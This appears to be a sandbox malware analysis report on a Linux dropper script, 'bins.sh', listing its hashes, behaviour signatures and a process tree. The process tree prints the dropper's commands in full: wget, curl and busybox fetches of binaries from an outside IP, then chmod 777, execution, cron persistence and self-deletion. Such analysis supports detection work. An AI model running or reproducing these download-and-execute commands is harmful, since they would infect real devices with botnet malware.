Analysis
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max time kernel
149s -
max time network
151s -
platform
debian-9_mips -
resource
debian9-mipsbe-20240729-en -
resource tags
arch:mipsimage:debian9-mipsbe-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem -
submitted
09-11-2024 09:15
Static task
static1
Behavioral task
behavioral1
Sample
bins.sh
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral2
Sample
bins.sh
Resource
debian9-armhf-20240418-en
Behavioral task
behavioral3
Sample
bins.sh
Resource
debian9-mipsbe-20240729-en
Behavioral task
behavioral4
Sample
bins.sh
Resource
debian9-mipsel-20240226-en
General
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Target
bins.sh
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Size
10KB
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MD5
4bc8a3083ffaa5e3a7da23f488fdc787
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SHA1
4cf7f88aa65a6b58c37c62251fcbdcb9a32b8283
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SHA256
90b55680af675591c28d288b43836fcee99e2f065fae6cec1ce9092d939169c2
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SHA512
3375c06b2f38ac637923d987d615c47304954aa37ef94736df70fee16b225f3d4262d4358a2f890986d00b36d84bde96fce65684ccee0a6e2cf4da71b268e8ac
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SSDEEP
192:0vzqMMKB1qHvD++MBje2aOorTKI++MBXaOorTHfMMMKB1AvC:ozqMMKB1qIe2aOorTKTaOorT/MMMKB1P
Malware Config
Signatures
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Contacts a large (1800) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
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File and Directory Permissions Modification 1 TTPs 5 IoCs
Adversaries may modify file or directory permissions to evade defenses.
Processes:
chmodchmodchmodchmodchmodpid process 840 chmod 847 chmod 938 chmod 819 chmod 833 chmod -
Executes dropped EXE 5 IoCs
Processes:
J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6bzOuZHrHWrW9Mo8LrrwLsms8QSqSFrSaKEBUCST9CaGR39AxfAUu7OhsOvjgAxPaAPWeIEplximRG78lPSPojYmUgyc957YaLsSA8nUngHgs41T1ItuFTEnJkZ3oNcaBr5HNun6Rwioc pid process /tmp/J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b 820 J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b /tmp/zOuZHrHWrW9Mo8LrrwLsms8QSqSFrSaKEB 834 zOuZHrHWrW9Mo8LrrwLsms8QSqSFrSaKEB /tmp/UCST9CaGR39AxfAUu7OhsOvjgAxPaAPWeI 841 UCST9CaGR39AxfAUu7OhsOvjgAxPaAPWeI /tmp/EplximRG78lPSPojYmUgyc957YaLsSA8nU 848 EplximRG78lPSPojYmUgyc957YaLsSA8nU /tmp/ngHgs41T1ItuFTEnJkZ3oNcaBr5HNun6Rw 939 ngHgs41T1ItuFTEnJkZ3oNcaBr5HNun6Rw -
Renames itself 1 IoCs
Processes:
J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6bpid process 821 J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b -
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
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Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
Processes:
crontabdescription ioc process File opened for modification /var/spool/cron/crontabs/tmp.wJOeDU crontab -
Enumerates running processes
Discovers information about currently running processes on the system
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Processes:
J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6bcrontabdescription ioc process File opened for reading /proc/1057/cmdline J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b File opened for reading /proc/4/cmdline J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b File opened for reading /proc/679/cmdline J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b File opened for reading /proc/721/cmdline J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b File opened for reading /proc/983/cmdline J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b File opened for reading /proc/1010/cmdline J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b File opened for reading /proc/1053/cmdline J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b File opened for reading /proc/959/cmdline J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b File opened for reading /proc/990/cmdline J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b File opened for reading /proc/126/cmdline J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b File opened for reading /proc/177/cmdline J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b File opened for reading /proc/361/cmdline J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b File opened for reading /proc/704/cmdline J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b File opened for reading /proc/833/cmdline J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b File opened for reading /proc/921/cmdline J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b File opened for reading /proc/23/cmdline J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b File opened for reading /proc/845/cmdline J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b File opened for reading /proc/980/cmdline J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b File opened for reading /proc/1046/cmdline J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b File opened for reading /proc/1047/cmdline J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b File opened for reading /proc/1031/cmdline J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b File opened for reading /proc/1039/cmdline J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b File opened for reading /proc/830/cmdline J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b File opened for reading /proc/908/cmdline J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b File opened for reading /proc/913/cmdline J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b File opened for reading /proc/922/cmdline J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b File opened for reading /proc/950/cmdline J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b File opened for reading /proc/1006/cmdline J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b File opened for reading /proc/73/cmdline J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b File opened for reading /proc/961/cmdline J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b File opened for reading /proc/999/cmdline J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b File opened for reading /proc/1017/cmdline J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b File opened for reading /proc/filesystems crontab File opened for reading /proc/862/cmdline J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b File opened for reading /proc/912/cmdline J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b File opened for reading /proc/931/cmdline J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b File opened for reading /proc/963/cmdline J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b File opened for reading /proc/977/cmdline J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b File opened for reading /proc/879/cmdline J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b File opened for reading /proc/970/cmdline J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b File opened for reading /proc/986/cmdline J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b File opened for reading /proc/1001/cmdline J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b File opened for reading /proc/1015/cmdline J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b File opened for reading /proc/1075/cmdline J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b File opened for reading /proc/74/cmdline J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b File opened for reading /proc/234/cmdline J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b File opened for reading /proc/946/cmdline J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b File opened for reading /proc/1025/cmdline J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b File opened for reading /proc/1081/cmdline J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b File opened for reading /proc/1094/cmdline J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b File opened for reading /proc/1089/cmdline J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b File opened for reading /proc/17/cmdline J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b File opened for reading /proc/859/cmdline J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b File opened for reading /proc/899/cmdline J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b File opened for reading /proc/1011/cmdline J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b File opened for reading /proc/1049/cmdline J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b File opened for reading /proc/1083/cmdline J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b File opened for reading /proc/10/cmdline J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b File opened for reading /proc/896/cmdline J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b File opened for reading /proc/905/cmdline J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b File opened for reading /proc/968/cmdline J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b File opened for reading /proc/1069/cmdline J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b File opened for reading /proc/1063/cmdline J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b File opened for reading /proc/1078/cmdline J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b -
Writes file to tmp directory 7 IoCs
Malware often drops required files in the /tmp directory.
Processes:
busyboxwgetcurlbusyboxbusyboxbusyboxbusyboxdescription ioc process File opened for modification /tmp/ngHgs41T1ItuFTEnJkZ3oNcaBr5HNun6Rw busybox File opened for modification /tmp/J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b wget File opened for modification /tmp/J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b curl File opened for modification /tmp/J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b busybox File opened for modification /tmp/zOuZHrHWrW9Mo8LrrwLsms8QSqSFrSaKEB busybox File opened for modification /tmp/UCST9CaGR39AxfAUu7OhsOvjgAxPaAPWeI busybox File opened for modification /tmp/EplximRG78lPSPojYmUgyc957YaLsSA8nU busybox
Processes
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/tmp/bins.sh/tmp/bins.sh1⤵PID:713
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/bin/rm/bin/rm bins.sh2⤵PID:716
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/usr/bin/wgetwget http://216.126.231.240/bins/J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b2⤵
- Writes file to tmp directory
PID:718 -
/usr/bin/curlcurl -O http://216.126.231.240/bins/J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b2⤵
- Writes file to tmp directory
PID:742 -
/bin/busybox/bin/busybox wget http://216.126.231.240/bins/J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b2⤵
- Writes file to tmp directory
PID:788 -
/bin/chmodchmod 777 J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b2⤵
- File and Directory Permissions Modification
PID:819 -
/tmp/J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b./J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b2⤵
- Executes dropped EXE
- Renames itself
- Reads runtime system information
PID:820 -
/bin/shsh -c "crontab -l"3⤵PID:822
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/usr/bin/crontabcrontab -l4⤵PID:823
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/bin/shsh -c "crontab -"3⤵PID:824
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/usr/bin/crontabcrontab -4⤵
- Creates/modifies Cron job
- Reads runtime system information
PID:825 -
/bin/rmrm J7JODbnIF7rFL55XxXJvWJyCQBLHhcVN6b2⤵PID:827
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/usr/bin/wgetwget http://216.126.231.240/bins/zOuZHrHWrW9Mo8LrrwLsms8QSqSFrSaKEB2⤵PID:830
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/usr/bin/curlcurl -O http://216.126.231.240/bins/zOuZHrHWrW9Mo8LrrwLsms8QSqSFrSaKEB2⤵PID:831
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/bin/busybox/bin/busybox wget http://216.126.231.240/bins/zOuZHrHWrW9Mo8LrrwLsms8QSqSFrSaKEB2⤵
- Writes file to tmp directory
PID:832 -
/bin/chmodchmod 777 zOuZHrHWrW9Mo8LrrwLsms8QSqSFrSaKEB2⤵
- File and Directory Permissions Modification
PID:833 -
/tmp/zOuZHrHWrW9Mo8LrrwLsms8QSqSFrSaKEB./zOuZHrHWrW9Mo8LrrwLsms8QSqSFrSaKEB2⤵
- Executes dropped EXE
PID:834 -
/bin/rmrm zOuZHrHWrW9Mo8LrrwLsms8QSqSFrSaKEB2⤵PID:836
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/usr/bin/wgetwget http://216.126.231.240/bins/UCST9CaGR39AxfAUu7OhsOvjgAxPaAPWeI2⤵PID:837
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/usr/bin/curlcurl -O http://216.126.231.240/bins/UCST9CaGR39AxfAUu7OhsOvjgAxPaAPWeI2⤵PID:838
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/bin/busybox/bin/busybox wget http://216.126.231.240/bins/UCST9CaGR39AxfAUu7OhsOvjgAxPaAPWeI2⤵
- Writes file to tmp directory
PID:839 -
/bin/chmodchmod 777 UCST9CaGR39AxfAUu7OhsOvjgAxPaAPWeI2⤵
- File and Directory Permissions Modification
PID:840 -
/tmp/UCST9CaGR39AxfAUu7OhsOvjgAxPaAPWeI./UCST9CaGR39AxfAUu7OhsOvjgAxPaAPWeI2⤵
- Executes dropped EXE
PID:841 -
/bin/rmrm UCST9CaGR39AxfAUu7OhsOvjgAxPaAPWeI2⤵PID:843
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/usr/bin/wgetwget http://216.126.231.240/bins/EplximRG78lPSPojYmUgyc957YaLsSA8nU2⤵PID:844
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/usr/bin/curlcurl -O http://216.126.231.240/bins/EplximRG78lPSPojYmUgyc957YaLsSA8nU2⤵PID:845
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/bin/busybox/bin/busybox wget http://216.126.231.240/bins/EplximRG78lPSPojYmUgyc957YaLsSA8nU2⤵
- Writes file to tmp directory
PID:846 -
/bin/chmodchmod 777 EplximRG78lPSPojYmUgyc957YaLsSA8nU2⤵
- File and Directory Permissions Modification
PID:847 -
/tmp/EplximRG78lPSPojYmUgyc957YaLsSA8nU./EplximRG78lPSPojYmUgyc957YaLsSA8nU2⤵
- Executes dropped EXE
PID:848 -
/bin/rmrm EplximRG78lPSPojYmUgyc957YaLsSA8nU2⤵PID:850
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/usr/bin/wgetwget http://216.126.231.240/bins/ngHgs41T1ItuFTEnJkZ3oNcaBr5HNun6Rw2⤵PID:851
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/usr/bin/curlcurl -O http://216.126.231.240/bins/ngHgs41T1ItuFTEnJkZ3oNcaBr5HNun6Rw2⤵PID:852
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/bin/busybox/bin/busybox wget http://216.126.231.240/bins/ngHgs41T1ItuFTEnJkZ3oNcaBr5HNun6Rw2⤵
- Writes file to tmp directory
PID:853 -
/bin/chmodchmod 777 ngHgs41T1ItuFTEnJkZ3oNcaBr5HNun6Rw2⤵
- File and Directory Permissions Modification
PID:938 -
/tmp/ngHgs41T1ItuFTEnJkZ3oNcaBr5HNun6Rw./ngHgs41T1ItuFTEnJkZ3oNcaBr5HNun6Rw2⤵
- Executes dropped EXE
PID:939 -
/bin/rmrm ngHgs41T1ItuFTEnJkZ3oNcaBr5HNun6Rw2⤵PID:941
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/usr/bin/wgetwget http://216.126.231.240/bins/3LGVg3PxRg5P4RDIk4aauyooRxkPjJFSlY2⤵PID:942
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
112KB
MD505d7857dcead18bbd86d2935f591873c
SHA134d18f41ef35f93d5364ce3e24d74730a4e91985
SHA2562cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
SHA512d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e
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Filesize
151KB
MD53c90d5820bddcf7c5d1bd21dfa49d958
SHA15ba05bd489e50af97d6dc45e3a0be60e494d5083
SHA256bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
SHA51254a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a
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Filesize
107KB
MD5eb9c3a0de91fcf16ba17cb24608df68c
SHA109d95a7d70d5e115d103be51edff7c498d272fac
SHA256dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47
SHA5129e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27
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Filesize
98KB
MD55141342d0df8699fa32a6b066a0c592e
SHA18157673225bd5182f16215e2aa823a25ca2d4fbc
SHA25654302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
SHA512d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801
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Filesize
111KB
MD5ca897a38f23ec23521ce0b1b83f8422d
SHA1b8d2ab335346aba9a72bae0fe3533aca1ab7b66a
SHA256043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832
SHA51210d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb
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Filesize
210B
MD5facdb36bb76358f821bb81f7d59b940a
SHA1665dd0c47c4b348851bc49104b4e1405d5db8e54
SHA2566d441d1abf9de1b8b807e0efb9320c3e9201b82a54b83b1b2db37a7e3d775add
SHA5124a8a4f2e6a2c55257a2948b3d0a1a14d91e1b10fa08abc106c56c1ba9469a91f8a7236027786af8da1f82e704f3b4f38d05b4519e4e7ee59ddd418c6b5843804